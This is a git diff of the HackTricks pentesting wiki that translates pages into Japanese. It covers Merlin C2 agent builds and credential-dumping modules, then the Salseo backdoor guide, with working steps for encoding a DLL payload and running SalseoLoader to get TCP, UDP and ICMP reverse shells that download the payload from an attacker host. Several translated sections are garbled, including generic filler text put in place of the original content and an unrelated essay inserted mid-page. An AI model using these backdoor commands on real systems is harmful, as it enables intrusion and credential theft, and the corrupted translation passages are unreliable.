_$GOPATH/src/github.com/Ne0nd0g/merlin/_ +## エージェントのコンパイル +メインフォルダ _$GOPATH/src/github.com/Ne0nd0g/merlin/_ に移動します。 ``` #User URL param to set the listener URL make #Server and Agents of all make windows #Server and Agents for Windows make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) ``` +## **エージェントの手動コンパイル** -## **Manual compile agents** +To manually compile agents, follow these steps: +1. **Choose the programming language**: Select the programming language you want to use for the agent. Common choices include C, C++, Python, and Java. + +2. **Write the agent code**: Write the code for the agent, ensuring that it includes the necessary functionality for your specific needs. This may include features such as remote command execution, file system access, or network communication. + +3. **Compile the agent**: Use the appropriate compiler for the chosen programming language to compile the agent code into an executable file. This will generate a binary file that can be executed on the target system. + +4. **Test the agent**: Before deploying the agent, it is important to test its functionality and ensure that it works as intended. This can be done by running the compiled agent on a test system and verifying its behavior. + +5. **Deploy the agent**: Once the agent has been tested and verified, it can be deployed on the target system. This can be done by transferring the compiled agent file to the target system and executing it. + +By following these steps, you can manually compile agents to meet your specific requirements. ``` GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g ``` +# モジュール -# Modules - -**The bad news is that every module used by Merlin is downloaded from the source (Github) and saved on disk before using it. Be careful about when using well-known modules because Windows Defender will catch you!** +**悪いニュースは、Merlinが使用するすべてのモジュールがソース(Github)からダウンロードされ、使用する前にディスクに保存されるということです。よく知られたモジュールを使用する際には注意が必要です。なぜなら、Windows Defenderに検出される可能性があるからです!** -**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file\ -**SharpDump** --> minidump for the process ID specified (LSASS by default) (Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file)\ -**SharpRoast** --> Kerberoast (doesn't work)\ -**SeatBelt** --> Local Security Tests in CS (does not work) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ -**Compiler-CSharp** --> Compile using csc.exe /unsafe\ -**Sharp-Up** -->Allchecks in C# in powerup (works)\ -**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool (doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\ -**Invoke-InternalMonologue** --> Impersonates all available users and retrieves a challenge-response for each (NTLM hash for each user) (bad url)\ -**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process (doesnt work) (and the PS looks like doesnt work either) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ -**LaZagneForensic** --> Get browser passwords (works but dont prints the output directory)\ -**dumpCredStore** --> Win32 Credential Manager API (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ -**Get-InjectedThread** --> Detect classic injection in running processes (Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (doesnt works)\ -**Get-OSTokenInformation** --> Get Token Info of the running processes and threads (User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ -**Invoke-DCOM** --> Execute a command (inother computer) via DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ -**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects (ADDin)\ -**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel\ -**Find-ComputersWithRemoteAccessPolicies** --> (not working) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ -**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. (deprecated) Take a look at Grouper2, looks really nice\ -**Invoke-WMILM** --> WMI to move laterally\ -**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords (insidedomain)\ -**Invoke-Mimikatz** --> Use mimikatz (default dump creds)\ +**SafetyKatz** --> 改変されたMimikatz。LSASSをファイルにダンプして、sekurlsa::logonpasswordsをそのファイルに実行します\ +**SharpDump** --> 指定されたプロセスIDのminidump(デフォルトはLSASS)(最終ファイルの拡張子は.gzですが、実際は.binですが、.gzファイルです)\ +**SharpRoast** --> Kerberoast(動作しません)\ +**SeatBelt** --> CSのローカルセキュリティテスト(動作しません)https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ +**Compiler-CSharp** --> csc.exe /unsafeを使用してコンパイルします\ +**Sharp-Up** --> powerupでのC#のすべてのチェック(動作します)\ +**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者攻撃ツール(動作しません、https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1をロードする必要があります)\ +**Invoke-InternalMonologue** --> 利用可能なすべてのユーザーを偽装し、各ユーザーに対してチャレンジレスポンスを取得します(各ユーザーのNTLMハッシュ)(URLが不正です)\ +**Invoke-PowerThIEf** --> IExplorerからフォームを盗み出すか、JSを実行するか、そのプロセスにDLLをインジェクトします(動作しません)(およびPSも動作しないようです)https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ +**LaZagneForensic** --> ブラウザのパスワードを取得します(動作しますが、出力ディレクトリを表示しません)\ +**dumpCredStore** --> Win32 Credential Manager API(https://github.com/zetlen/clortho/blob/master/CredMan.ps1)https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ +**Get-InjectedThread** --> 実行中のプロセスでクラシックなインジェクションを検出します(Classic Injection(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread))(動作しません)\ +**Get-OSTokenInformation** --> 実行中のプロセスとスレッドのトークン情報を取得します(ユーザー、グループ、特権、所有者などhttps://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ +**Invoke-DCOM** --> DCOMを介して(他のコンピューターで)コマンドを実行します(http://www.enigma0x3.net.)(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ +**Invoke-DCOMPowerPointPivot** --> PowerPoint COMオブジェクト(ADDin)を悪用して、他のPCでコマンドを実行します\ +**Invoke-ExcelMacroPivot** --> ExcelでDCOMを悪用して、他のPCでコマンドを実行します\ +**Find-ComputersWithRemoteAccessPolicies** --> (動作しません)(https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ +**Grouper** --> グループポリシーの最も興味深い部分をダンプし、悪用可能なものを探します(非推奨)Grouper2を見てみてください、とても素敵です\ +**Invoke-WMILM** --> 横方向に移動するためのWMI\ +**Get-GPPPassword** --> groups.xml、scheduledtasks.xml、services.xml、datasources.xmlを検索し、平文のパスワードを返します(ドメイン内)\ +**Invoke-Mimikatz** --> mimikatzを使用します(デフォルトのダンプクレデンシャル)\ **PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ -**Find-BadPrivilege** --> Check the privileges of users in computers\ -**Find-PotentiallyCrackableAccounts** --> Retrieve information about user accounts associated with SPN (Kerberoasting)\ +**Find-BadPrivilege** --> コンピューターのユーザーの特権をチェックします\ +**Find-PotentiallyCrackableAccounts** --> SPNに関連付けられたユーザーアカウントに関する情報を取得します(Kerberoasting)\ **psgetsystem** --> getsystem -**Didn't check persistence modules** +**持続性モジュールはチェックしていません** -# Resume +# 要約 -I really like the feeling and the potential of the tool.\ -I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts. +このツールの感触とポテンシャルが本当に気に入っています。\ +ツールがサーバーからモジュールをダウンロードし、スクリプトをダウンロードする際にいくつかの回避手段を組み込むことを願っています。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 21f0bc44f..9e469bda0 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -4,167 +4,200 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Compiling the binaries +## バイナリのコンパイル -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。 -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルしてください(Windowsがx64をサポートしている場合は、そのアーキテクチャにコンパイルします)。 -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +Visual Studio内の**左側の"Build"タブ**の**"Platform Target"**でアーキテクチャを**選択**できます。 -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*このオプションが見つからない場合は、**"Project Tab"**を押し、次に**"\ Properties"**を押します) ![](<../.gitbook/assets/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## バックドアの準備 -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows +Windowsは、最も一般的なオペレーティングシステムの1つであり、多くのバージョンが存在します。Windowsには、バックドアを作成するためのさまざまな方法があります。 + +#### リモートデスクトップ + +リモートデスクトップ(RDP)は、Windowsマシンにリモートでアクセスするための機能です。攻撃者は、有効な資格情報を使用してRDPに接続し、ターゲットマシンにアクセスすることができます。 + +#### バックドアアプリケーション + +バックドアアプリケーションは、ターゲットマシンにインストールされたソフトウェアの一部として動作します。これにより、攻撃者はターゲットマシンにアクセスし、機密情報を盗むことができます。 + +#### サービスの改ざん + +攻撃者は、Windowsサービスを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムの制御を取ることができます。 + +#### レジストリの改ざん + +レジストリは、Windowsオペレーティングシステムの設定情報を格納するデータベースです。攻撃者は、レジストリを改ざんすることでバックドアを作成し、ターゲットマシンにアクセスすることができます。 + +#### ファイルの改ざん + +攻撃者は、Windowsシステムファイルを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。 + +#### プロセスの改ざん + +攻撃者は、Windowsプロセスを改ざんすることでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。 + +#### ネットワークトラフィックの傍受 + +攻撃者は、ネットワークトラフィックを傍受することでバックドアを作成することができます。これにより、攻撃者はターゲットマシンにアクセスし、機密情報を盗むことができます。 + +#### プリインストールバックドア + +プリインストールバックドアは、Windowsマシンに最初から組み込まれているバックドアです。これにより、攻撃者はターゲットマシンにアクセスし、システムを制御することができます。 + +#### ゼロデイエクスプロイト + +ゼロデイエクスプロイトは、まだ修正されていないセキュリティの脆弱性を利用する攻撃手法です。攻撃者は、ゼロデイエクスプロイトを使用してWindowsマシンにバックドアを作成し、システムにアクセスすることができます。 + +#### パスワードのクラック + +攻撃者は、パスワードのクラックを使用してWindowsマシンにアクセスすることができます。これにより、攻撃者はターゲットマシンにバックドアを作成し、システムを制御することができます。 + +以上が、Windowsでバックドアを作成するための一般的な方法です。これらの方法を理解し、対策を講じることが重要です。 ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok、Salseoのすべてを実行するために必要なものが揃いました:**エンコードされたEvilDalsa.dll**と**SalseoLoaderのバイナリ**。 -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないはずです...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **バックドアの実行** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **TCPリバースシェルの取得(HTTPを介してエンコードされたdllをダウンロード)** +リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたevilsalsaを提供することを忘れないでください。 ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **UDPリバースシェルの取得(SMBを介してエンコードされたdllをダウンロード)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +リバースシェルのリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバー(impacket-smbserver)を起動することを忘れないでください。 ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **ICMPリバースシェルの取得(既に被害者内にエンコードされたdllが存在する場合)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**今回は、クライアント側でリバースシェルを受け取るための特別なツールが必要です。ダウンロードしてください:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **ICMP応答の無効化:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` +#### クライアントの実行: -#### Execute the client: +```bash +./client +``` +クライアントを実行します。 ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### ターゲット内部で、salseoの実行を行います: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする -## Compiling SalseoLoader as DLL exporting main function +Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### メイン関数の前に\[DllExport]を追加します。 ![](<../.gitbook/assets/image (2) (1) (1) (1).png>) -### Install DllExport for this project +### このプロジェクトにDllExportをインストールします。 -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...** ![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **DllExportパッケージを検索します(ブラウズタブを使用)し、インストールを押します(ポップアップを受け入れます)** ![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** +プロジェクトフォルダには、**DllExport.bat**と**DllExport\_Configure.bat**のファイルが表示されます。 -### **U**ninstall DllExport +### DllExportをアンインストールします。 -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +**アンインストール**を押します(はい、奇妙ですが、信じてください、必要です) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport\_configure** +### Visual Studioを終了し、DllExport\_configureを実行します。 -Just **exit** Visual Studio +Visual Studioを**終了**します。 -Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat** +次に、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します。 -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +**x64**を選択します(x64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices**(**DllExportの名前空間内**)を選択し、**Apply**を押します。 ![](<../.gitbook/assets/image (7) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### Visual Studioでプロジェクトを再度開きます。 -**\[DllExport]** should not be longer marked as error +**\[DllExport]**はもはやエラーとしてマークされません。 ![](<../.gitbook/assets/image (8) (1).png>) -### Build the solution +### ソリューションをビルドします。 -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +**出力の種類 = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力の種類 = クラスライブラリ) ![](<../.gitbook/assets/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64) ![](<../.gitbook/assets/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +ソリューションをビルドするには:ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます) -### Test the generated Dll +### 生成されたDLLをテストします。 -Copy and paste the Dll where you want to test it. - -Execute: +テストしたい場所にDLLをコピーして貼り付けます。 +実行するコマンド: ``` rundll32.exe SalseoLoader.dll,main ``` +もしエラーが表示されなければ、おそらく機能するDLLを持っています! -If no error appears, probably you have a functional DLL!! +## DLLを使用してシェルを取得する -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +**HTTPサーバー**を使用して、**ncリスナー**を設定することを忘れないでください。 ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -173,9 +206,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - -### CMD - +CMD(コマンドプロンプト)は、Windowsオペレーティングシステムで使用されるコマンドラインインターフェースです。CMDを使用すると、コマンドを入力してシステムの様々な操作を実行することができます。CMDは、システムの設定変更、ファイルの操作、ネットワークの設定など、さまざまなタスクを実行するために使用されます。CMDは、ハッカーにとっても便利なツールであり、システムの脆弱性を悪用するために使用されることもあります。ハッカーは、CMDを使用してバックドアを作成し、システムに不正アクセスすることができます。CMDは、ハッキングの技術の一部として広く使用されています。 ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -184,15 +215,14 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝したい**ですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md index d9518db75..9537519fd 100644 --- a/blockchain/blockchain-and-crypto-currencies/README.md +++ b/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,293 +1,248 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Basic Terminology +# 基本用語 -* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. (From [here](https://www.ibm.com/topics/smart-contracts)). - * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** (so the results are stored inmutable) and can be read by the people before accepting them. -* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public (so it can be audited) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account. -* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin. - * **Utility Tokens**: These tokens allow the user to **access certain service later** (it's something that have some value in a specific environment). - * **Security Tokens**: These represents the **ownership** or some asset. -* **DeFi**: **Decentralized Finance**. -* **DEX: Decentralized Exchange Platforms**. -* **DAOs**: **Decentralized Autonomous Organizations**. +* **スマートコントラクト**: スマートコントラクトは、あらかじめ決められた条件が満たされたときに実行される**ブロックチェーン上に格納されたプログラム**です。通常、すべての参加者が中間業者の関与や時間のロスなしに結果を即座に確認できるように、**契約の実行を自動化**するために使用されます([ここから](https://www.ibm.com/topics/smart-contracts))。 +* 基本的に、スマートコントラクトは、契約にアクセスして受け入れるときに実行される**コードの一部**です。スマートコントラクトは**ブロックチェーン上で実行**されます(その結果は不変に保存されます)し、人々は受け入れる前にそれを読むことができます。 +* **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されます。通常、ユーザーがアプリと対話できるフロントエンドがあり、バックエンドは公開されています(監査が可能)し、スマートコントラクトとして実装されています。場合によっては、データベースの使用が必要ですが、Ethereumブロックチェーンは各アカウントに一定のストレージを割り当てます。 +* **トークンとコイン**: **コイン**は暗号通貨であり、**デジタルなお金**として機能し、**トークン**はある**価値を表す**ものですが、コインではありません。 +* **ユーティリティトークン**: これらのトークンは、**後で特定のサービスにアクセス**するために使用できるものです(特定の環境で価値を持つものです)。 +* **セキュリティトークン**: これらは**所有権**またはある資産を表します。 +* **DeFi**: **分散型金融**。 +* **DEX: 分散型取引所プラットフォーム**。 +* **DAO**: **分散型自治組織**。 -# Consensus Mechanisms +# コンセンサスメカニズム -For a blockchain 